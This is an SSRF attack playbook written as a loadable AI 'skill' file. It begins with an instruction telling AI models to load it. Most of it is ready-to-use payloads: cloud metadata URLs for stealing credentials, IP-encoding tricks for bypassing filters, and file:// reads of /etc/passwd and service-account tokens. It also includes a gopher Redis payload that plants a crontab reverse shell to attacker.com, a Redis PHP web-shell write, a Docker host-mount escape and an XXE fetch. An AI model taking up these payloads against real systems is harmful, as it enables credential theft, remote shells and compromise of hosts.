SecurityTalent SKILL: Server-Side Request Forgery (SSRF) — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert SSRF techniques. Covers URL filter bypass, cloud metadata endpoints, protocol exploitation, blind SSRF detection, and chaining to RCE. Base models know basic 169.254.169.254 — this file covers what they miss. For real-world CVE chains, DNS Rebinding deep dives, K8s SSRF, and SSRF → Redis → RCE full exploitation, load the companion SCENARIOS.md.
0. QUICK START
Extended Scenarios
Also load SCENARIOS.md when you need:
- WebLogic SSRF (CVE-2014-4210) —
uddiexplorer/SearchPublicRegistries.jsp+operatorparameter +%0D%0ACRLF to inject Redis commands - SSRF → internal Redis → write crontab reverse shell complete payload chain
- DNS Rebinding deep dive — TTL=0 trick, initial-legit→second-internal resolution,
rbndr.usservice - Kubernetes SSRF (CVE-2020-8555) and bypass (CVE-2020-8562) via DNS rebinding
- SSRF through PDF/screenshot generators —
<iframe>and<img>in HTML-to-PDF - Gopher protocol full TCP injection — Redis, MySQL, FastCGI payloads via Gopherus
- URL parser confusion for filter bypass —
#@,\@,%00@, IPv6-mapped IPv4
Advanced Reference
Also load URL_PARSER_TRICKS.md when you need:
- URL parser differential table: Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url
- Full cloud metadata endpoint catalog (AWS IMDSv1/v2, GCP, Azure, DigitalOcean, Alibaba Cloud, Oracle Cloud, Kubernetes, Hetzner, OpenStack)
- gopher:// payload recipes for Redis, MySQL, SMTP, FastCGI, Memcached (with encoding rules)
- DNS Rebinding detailed attack flow with TTL manipulation and TOCTOU analysis
- PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS SSRF patterns and exfiltration techniques
If you just found a parameter that fetches a URL, perform first-pass confirmation here directly.
First-pass payloads
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/
Host validation bypass families
| Validation Type | Try |
|---|---|
blocks localhost string |
127.0.0.1, 127.1, [::1] |
| blocks direct IP only | internal DNS name, decimal/octal/hex IP forms |
| allowlist by prefix | username part, subdomain confusion, redirect chain |
| follows redirects | benign external URL redirecting to internal target |
| parses once, fetches twice | mixed encoding or DNS rebinding style targets |
Protocol routing
| Goal | Protocol / Target |
|---|---|
| cloud credentials | metadata HTTP endpoints |
| internal HTTP admin | http://127.0.0.1:port/ |
| Redis / raw TCP style abuse | gopher:// |
| local file read candidate | file:// |
| dictionary / banner tests | dict:// |
1. FINDING SSRF SURFACE
Look for any parameter containing DNS names, IP addresses, or URLs:
loc= url= path= endpoint=
imageUrl= dest= redirect= uri=
callback= load= file= resource=
link= src= data= ref=
Less obvious SSRF vectors:
- PDF/screenshot generation (URL to capture)
- Webhook configuration fields
- Import/export via URL (CSV import, RSS/Atom feeds)
- OAuth redirect URI (sometimes triggers server-side fetch)
X-Forwarded-Host/X-Real-IPheaders in proxy chains- XML
DOCTYPEwith external entity (file://,http://) - GraphQL
@linkdirective (federation) - Content-Type:
text/htmlpages parsed for<link>preload headers
2. BASIC CONFIRMATION METHODOLOGY
Step 1: Supply your Burp Collaborator / interact.sh URL
→ Check server initiates outbound connection (full SSRF confirmed)
Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
Compare response time for:
http://192.168.1.1:22 (likely open → fast)
http://192.168.1.1:9999 (likely closed → slow/timeout)
Step 3: Try accessing localhost services:
http://127.0.0.1:8080
http://127.0.0.1:22
http://127.0.0.1:6379 (Redis)
http://127.0.0.1:9200 (Elasticsearch)
http://127.0.0.1:5984 (CouchDB)
http://127.0.0.1:2375 (Docker daemon — critical!)
http://127.0.0.1:4840 (internal admin)
3. CLOUD METADATA ENDPOINTS — MUST-TRY
AWS EC2 IMDSv1 (no auth required — critical)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
AWS IMDSv2 (token required — but check if SSRF can GET the token)
Step 1: PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token: TOKEN
If SSRF supports custom headers → full IMDSv2 bypass.
Google Cloud
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
Alibaba Cloud
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
Kubernetes Service Account
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets
4. IP ADDRESS FILTER BYPASS TECHNIQUES
When 169.254.169.254, 127.0.0.1, localhost are blocked:
Localhost Variants
127.0.0.1
127.1
127.0.1
127.000.000.001 ← octal padding
0x7f000001 ← hex
2130706433 ← decimal (0x7f000001)
0177.0000.0000.0001 ← octal
[::] ← IPv6 loopback
[::1] ← IPv6 loopback
[::ffff:127.0.0.1] ← IPv4-mapped IPv6
169.254.169.254 Variants
169.254.169.254
2852039166 ← decimal
0xa9fea9fe ← hex
0251.0376.0251.0376 ← octal
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io ← DNS rebinding service
Private Network Ranges
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7 ← IPv6 private
Bypass Filter via DNS Input
If filter checks DNS-resolved IP (not hostname):
http://attacker.com/ ← DNS A record points to 169.254.169.254
Use DNS rebinding: initial lookup returns valid IP → passes filter → second request returns internal IP.
5. URL SCHEME ATTACKS
When http:// is allowed or weakly filtered:
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp ← reveals internal network ARP table
file:///proc/net/tcp ← open network connections
dict://127.0.0.1:6379/INFO ← Redis INFO command via dict://
gopher://127.0.0.1:6379/_INFO%0d%0a ← Redis via gopher
gopher://127.0.0.1:9200/ ← Elasticsearch
sftp://attacker.com:11111/ ← triggers SFTP connection (credential hash)
ldap://attacker.com:389/ ← triggers LDAP bind
ftp://attacker.com/ ← triggers FTP connection
Redis Gopher SSRF (full RCE potential)
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
6. BLIND SSRF DETECTION
When response doesn't reflect fetched content:
- Burp Collaborator / interact.sh: check for DNS + HTTP request from server
- Pingback/webhook abuse: configure application's own webhook to your URL
- Timing analysis: Internal open port vs closed port response time difference
- Error analysis: Different error messages for "host not found" vs "connection refused" vs "timeout" reveal internal network topology
7. INTERNAL SERVICE EXPLOITATION
Docker API (2375 unauthenticated)
http://127.0.0.1:2375/v1.24/containers/json ← list containers
http://127.0.0.1:2375/v1.24/images/json ← list images
# Create privileged container → escape to host:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
Elasticsearch (9200 no-auth default)
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*
Redis (6379 — no-auth common)
dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE
Internal Admin Panels
http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator ← Spring Boot actuator (exposed endpoints)
http://127.0.0.1:9000/actuator/shutdown
http://127.0.0.1:9000/actuator/env
8. SSRF + FILTER BYPASS DECISION TREE
SSRF parameter found?
├── Try http://169.254.169.254/ directly → blocked?
│ ├── Try decimal/hex/octal variants
│ ├── Try IPv6 variants [::ffff:169.254.169.254]
│ ├── Try DNS rebinding (nip.io, custom NS)
│ └── Try redirect: attacker.com → 169.254.169.254 (302)
│
├── Try http://127.0.0.1/ → blocked?
│ ├── Try 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│ ├── Try localhost → might not be blocked
│ └── Try IPv6 [::1]
│
├── What protocols are allowed?
│ ├── dict:// → test Redis, Memcached
│ ├── gopher:// → full TCP data injection (target Redis/SMTP)
│ ├── file:// → local file read
│ └── sftp:// ldap:// ftp:// → network interactions
│
└── Blind SSRF → use Burp Collaborator
└── DNS-only → use DNS rebinding or SSRF with OOB DNS
9. THE SSRF-FILTER MINDSET
From zseano's methodology: if developers filter only 169.254.169.254 directly but not http://169.254.169.254/latest/meta-data (full path), or forget about:
- IPv6 equivalents
- DNS names that resolve to internal IPs
- Redirect chains (server follows 302 to internal IP)
Classic gap: App filters 127.0.0.1 but not 127.1 or [::1] or localhost.
Application-layer SSRF via XML (when app parses XML):
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>